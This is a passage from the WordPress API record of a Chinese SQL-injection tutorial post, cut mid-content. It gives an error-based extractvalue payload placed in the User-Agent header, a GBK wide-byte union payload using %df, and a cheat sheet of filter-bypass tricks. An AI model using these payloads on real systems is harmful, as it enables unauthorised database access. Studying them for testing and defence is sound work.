\u670d\u52a1\u5668\u8868\u660e\u81ea\u5df1\u662f\u4ece\u54ea\u4e2a\u7f51\u9875URL\u83b7\u5f97\u70b9\u51fb\u5f53\u524d\u8bf7\u6c42\u4e2d\u7684\u7f51\u5740\/URL\uff0c\u4f8b\u5982\uff1aReferer\uff1ahttp:\/\/www.jb51.net\u3000\u3000\nUser-Agent\uff1a\u6d4f\u89c8\u5668\u8868\u660e\u81ea\u5df1\u7684\u8eab\u4efd\uff08\u662f\u54ea\u79cd\u6d4f\u89c8\u5668\uff09\u3002\u4f8b\u5982\uff1aUser-Agent\uff1aMozilla\/5.0 (Windows; U; Windows NT 5.1; zh-CN;rv:1.8.1.14) Gecko\/20080404 Firefox\/2.0.0.14<\/code><\/pre>\n<h5>\u65b9\u6cd5<\/h5>\n<pre><code class=\"language-sql\">user-agent \u4fee\u6539\u4e3a&#039;and extractvalue(1,concat(0x7e,(select@@version),0x7e))and&#039;1&#039;=&#039;1\n0x7e \u4e3a~\u5e76\u4e0d\u662fxml\u683c\u5f0f \u62a5\u9519 \u5e76\u8f93\u51fa\u6211\u4eec\u60f3\u8981\u7684\u5185\u5bb9<\/code><\/pre>\n<h4>\u5bbd\u5b57\u8282\u6ce8\u5165<\/h4>\n<pre><code class=\"language-sql\">\u5bbd\u5b57\u8282\u5c31\u662f\u4e24\u4e2a\u4ee5\u4e0a\u7684\u5b57\u8282\uff0c\u5bbd\u5b57\u8282\u6ce8\u5165\u4ea7\u751f\u7684\u539f\u56e0\u5c31\u662f\u5404\u79cd\u5b57\u7b26\u7f16\u7801\u7684\u4e0d\u5f53\u64cd\u4f5c\uff0c\u4f7f\u5f97\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u5bbd\u5b57\u8282\u7f16\u7801\u7ed5\u8fc7SQL\u6ce8\u5165\u9632\u5fa1\u3002\u5bbd\u5b57\u8282\u6ce8\u5165\u4e3b\u8981\u662f\u6e90\u4e8e\u7a0b\u5e8f\u5458\u8bbe\u7f6e\u6570\u636e\u5e93\u7f16\u7801\u4e0ePHP\u7f16\u7801\u8bbe\u7f6e\u4e3a\u4e0d\u540c\u7684\u4e24\u4e2a\u7f16\u7801\u90a3\u4e48\u5c31\u6709\u53ef\u80fd\u4ea7\u751f\u5bbd\u5b57\u8282\u6ce8\u5165\n%df \u5403\u6389\\ \u5177\u4f53\u7684\u539f\u56e0\u662furlencode(\\&#039;) = %5c%27\uff0c\u6211\u4eec\u5728%5c%27 \u524d\u9762\u6dfb\u52a0%df\uff0c\u5f62\u6210%df%5c%27\uff0c\u800c\u4e0a\u9762\u63d0\u5230\u7684mysql \u5728GBK \u7f16\u7801\u65b9\u5f0f\u7684\uff0c\u7b2c\u4e00\u4f4d\u8303\u56f4\u4e3a0x00-0x7F\u65f6\uff0c\u5f53\u4f5c\u4e00\u4e2a\u5b57\u7b26\u3002%df\u4e0d\u5728\u8fd9\u4e2a\u8303\u56f4\u5185\uff0c\u56e0\u6b64\u4f1a\u5c06\u4e24\u4e2a\u5b57\u8282\u5f53\u505a\u4e00\u4e2a\u6c49\u5b57\uff0c\u6b64\u65f6%df%5c \u5c31\u662f\u4e00\u4e2a\u6c49\u5b57\uff0c%27 \u5219\u4f5c\u4e3a\u4e00\u4e2a\u5355\u72ec\u7684\u7b26\u53f7\u5728\u5916\u9762\n?id=-1%df&#039; union select 1,2,3 %23<\/code><\/pre>\n<h3>\u7ed5\u8fc7\u65b9\u5f0f<\/h3>\n<pre><code class=\"language-sql\">\u7a7a\u683c\uff1a%20  \/**\/  ${IFS}  %a0\n\u5f15\u53f7(&#039;&#039;  &quot;&quot;)\uff1a16\u8fdb\u5236\n\u5355\u5f15\u53f7\uff1a%u0027 \u3001%u02b9 \u3001%u02bc \u3001%u02c8 \u3001%u2032 \u3001%uff07\n\u9017\u53f7\uff1a\u5bf9\u4e8esubstr\u3001substring()\u548cmid() \u8fd9\u4e24\u4e2a\u51fd\u6570\u53ef\u4ee5\u4f7f\u7528from  for\u7684\u65b9\u5f0f\u6765\u7ed5\u8fc7\u3002\u5bf9\u4e8elimit \uff0c\u53ef\u4ee5\u7528 offset \u7ed5\u8fc7\nand\u7528 &amp;&amp; \u4ee3\u66ff \uff1bor\u7528 || \u4ee3\u66ff \uff1b xor\u7528 | \u4ee3\u66ff \uff1b not\u7528 ! \u4ee3\u66ff \n\u6ce8\u91ca\u7b26 # \uff1a||&#039;  %23\n\u7b49\u53f7\uff1alike\u3001rlike\u3001regexp \n\u5185\u655b\u6ce8\u91ca\uff1a\/!**\/\n\u5927\u5c0f\u5199\u7ed5\u8fc7\u3001\u53cc\u5199\u7ed5\u8fc7\u3001\u7b49\u4ef7\u51fd\u6570\u7ed5\u8fc7<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>SQL\u6ce8\u5165 \u57fa\u7840\u77e5\u8bc6 \u7cfb\u7edf\u51fd\u6570 system_user()\u2014\u2014\u7cfb\u7edf\u7528\u6237\u540d user()\u2014\u2014\u7528\u6237\u540d current_user()\u2014\u2014 &#8230;<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-9","post","type-post","status-publish","format-standard","hentry","category-3"],"_links":{"self":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/9","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9"}],"version-history":[{"count":3,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/9\/revisions"}],"predecessor-version":[{"id":217,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/9\/revisions\/217"}],"wp:attachment":[{"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=9"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=9"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}